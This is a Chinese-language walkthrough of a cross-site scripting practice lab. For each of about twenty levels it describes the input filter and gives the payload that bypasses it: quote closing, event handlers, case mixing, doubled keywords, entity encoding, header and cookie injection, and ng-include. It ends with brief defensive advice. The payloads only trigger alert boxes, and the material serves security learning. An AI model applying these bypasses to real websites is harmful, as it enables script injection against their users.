level1
直接构造
1 | <script>alert(1)</script> |
level2
闭合构成
1 | 1"><ScRipt>alert(1)</ScRipt> |
level3
- PHP htmlspecialchars() 函数
- htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
预定义的字符是:
& (和号)成为 &
“ (双引号)成为 "
‘ (单引号)成为 '
< (小于)成为 <
(大于)成为 >
htmlspecialchars方法过滤了<>”符号 闭合方式用’
使用on事件
1 | ' onclick ='javascript:alert(1)'// |
level4
过滤<> 闭合方式用”
1 | " onchange=alert`1` |
level5
script过滤了,onclick也过滤了
构造a标签
1 | "> <a href="javascript:%61lert(1)">click me</a> // |
level6
过滤了<script、on、src、data、href
它只替换了小写的特定单词,其他类型的不会替换,使用大小写混写绕过
1 | "> <Script>alert('handsome boy')</script> // |
level7
大写转换小写过滤<script、on、src、data、href
但过滤了一次,可以双拼
1 | " oonninput=alert(1) " |
level8
大写转换小写过滤
在a标签内无法闭合 可用unicode编码(只能用于语句中,不能用于闭合<>等)
将javascript:alert(1)转成unicode编码
1 | javascript:alert(1) |
- 为什么unicode能成功呢?
原来unicode是实体编码,同一个符号,可以用“实体名称”和“实体编号”两种方式引用,“实体名称”的优势在于便于记忆,但不能保证所有的浏览器都能顺利识别它,而“实体编号”则没有这种担忧,但它实在不方便记忆。
所以html既可以识别实体名称,又可以识别实体编号
level9
大写转换小写过滤
本题目难点在于它会自动检测url,如果发现没有带http:// 内容则会显示不合法,那么应该如何绕过呢?
构造的链接中必须要含有http://
1 | javascript:alert('http://') |
level10
有三个隐藏输入框 F12一个个试看哪个输入框能传值
最后发现只用t_sort可以传值
1 | &t_sort="; type="text" onclick='alert(1)' //type值要有才能点击输入框 |
level11
过滤了”,手动输入传值无法闭合,那就用bp抓包
发现修改Referer的值可以传值
1 | " type="text " onmouseover="alert(1) |
level12
同level11原理
这里修改User-Agent的值
1 | " type="text " onmouseover="alert(1) |
level13
同level11和level12原理
这里修改cookie的值
1 | " type="text " onmouseover="alert(1) |
level14
原来跳转的网站停了,玩不了
就是上传一个含有xss代码的图片触发xss。
如图片的标题、主题、标记等改成xss语句
level15
- ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include 属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
语法
1 | < element ng-include= "filename" οnlοad= "expression" autoscroll= "expression" > < /element > |
ng-include 指令作为元素使用:
1 | < ng-include src= "filename" οnlοad= "expression" autoscroll= "expression" > < /ng-include > |
所有的 HTML 元素都支持该指令。
这里可以调用同一个域名里的文件(网站)来进行xss攻击
1 | src='level1.php?name=<img src=1 onerror=alert(1)>' |
level16
过滤了script和” ‘还有空格
- 空格可以用
1 | %20 %09 %0a %0b %0c %0d %a0 %00 |
level17
- embed可以用来插入各种多媒体,格式可以是 Midi、Wav、AIFF、AU、MP3等等,Netscape及新版的IE 都支持。url为音频或视频文件及其路径,可以是相对路径或绝对路径。
示例:
代码如下:
1 | <embed src="your.mid"> |
Firefox是能支持,查了需要插件,就换成谷歌
1 | ?arg01=a&arg02=b onmouseout=alert(1) |
level18
同level17一模一样
level19 和level20
都用的flash xss(不会)
白名单问题
- 源码中设置了白名单,并且在白名单之外的都使用上一次的http头部
这里绕过白名单需要用到#(hash),可以参考https://www.cnblogs.com/lishanlei/p/10707824.html这篇文章,解释得很详细。
我们直接利用#将原来的payload放在URL里,这样它只会在前端触发,而不经过后端,因此也不会受到后端白名单的限制。
1 | #<script>alert(0)</script> |
防护xss
- 不留闭合机会
过滤掉< > ‘ “ & #等字符 - htmlspecialchars() 函数传进来的字符都转换为 HTML 实体。